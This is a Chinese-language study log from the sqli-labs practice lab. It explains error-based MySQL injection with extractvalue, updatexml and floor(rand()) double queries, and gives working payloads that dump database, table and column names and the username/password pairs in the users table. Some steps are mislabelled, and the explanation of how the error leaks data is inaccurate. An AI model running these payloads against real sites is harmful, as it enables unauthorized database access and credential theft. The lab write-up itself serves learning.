slq-labs日志

上次写了第五关的布尔盲注，和双查询报错注入，还有其他报错注入的方法

一.extractvalue函数

extractvalue函数

原理

extractvalue 是一个在 XML 数据中提取值的 MySQL 内置函数。它的语法为：
EXTRACTVALUE(xml, xpath_expr)xml 是 XML 字符串，xpath_expr 是 XPath 表达式，该函数会从 xml 参数中提取与 XPath 表达式匹配的节点值，并返回结果。如果找不到匹配的节点，则返回空字符串，如果 XPath 表达式匹配了多个节点，则只返回第一个匹配的节点的值。

eg假设有这个XML 数据：

<book><title>MySQL Database Design and Tuning</title><author>Robert D Schneider</author><year>2005</year>
</book>

用 extractvalue 函数提取 title 节点的值：

SELECT EXTRACTVALUE('<book><title>MySQL Database Design and Tuning</title><author>Robert D Schneider</author><year>2005</year></book>', '//title');

执行结果：

MySQL Database Design and Tuning

实例

查库名

1' and extractvalue(1,concat(1,database())) %23

 '1' 表示在输入参数中添加一个条件，该条件与其他条件相互独立，用于生成一个新的查询结果。AND 连接符用于将新的条件与原有查询语句进行逻辑上的连接。extractvalue(1,concat(1,database())) 表示从 XML 数据中提取值，其中第一个参数为 1，表示要查询的 XML 数据，在这里没有实际作用；第二个参数为 concat(1,database())，表示将数字 1 和当前数据库名称拼接成一个字符串，然后使用 extractvalue 函数从该字符串中提取值，并将其添加到查询结果中。如果数据库名称不为空，则返回该名称，否则返回空字符串。回显库名security下图

 

查表名

1' union select 1,2, (updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)) %23

查列名

1' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'security'))) %23

查字段

1' and extractvalue(1,concat(1,(select concat((select group_concat(username) from users), '~', (select group_concat(password) from users)) ) )) %23

由于extractvalue函数只能查询32位长度，导致结果缺失，改用limit查询

1' and extractvalue(1,concat(1,(select concat((select username from users limit 0,1), '~', (select password from users limit 0,1)) ) )) %23

 改一下0，1改成1，1 / 2，1/

 

 

 嘻嘻好像没啥用

updatexml函数

原理

updatexml 函数是 MySQL 数据库中用于修改 XML 格式数据的一个内置函数，语法如下

xml_target 表示要进行修改的 XML 数据；xpath_expr 表示要修改的节点路径；new_val 表示要修改成的新值。updatexml 函数的工作原理是将指定的 XML 数据解析为 DOM（文档对象模型） 文档树，并根据 xpath 表达式找到对应的节点，然后将该节点的内容替换为新值。如果节点不存在，则不进行任何操作。

实例

查库名

1' union select 1,2, (updatexml(1,concat(1,database()),1)) %23

UNION SELECT 1,2,(updatexml(1,concat(1,database()),1)) 表示使用 UNION 运算符将两个查询结果合并起来，同时将 updatexml 函数的结果添加到第二个 SELECT 查询中。

updatexml 函数用于修改 XML 数据中的内容，其中第一个参数为 1，表示要修改的 XML 数据，在这里没有实际作用；第二个参数为 concat(1,database())，表示将数字 1 和当前数据库名称拼接成一个字符串作为修改内容；第三个参数为 1，表示将修改后的结果写入 XML 数据中。

 

查表名

1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand(0)*2)) a from information_schema.tables group by a  %23

查列名

1' union select 1, count(*), concat((select concat(username,':',password) from users  limit 0,1), floor(rand(0)*2)) a from information_schema.tables group by a  %23

查字段

1' union select 1,2, (updatexml(1,concat(1,(select username from users limit 0, 1),1,(select password from users limit 0,1)),1)) %23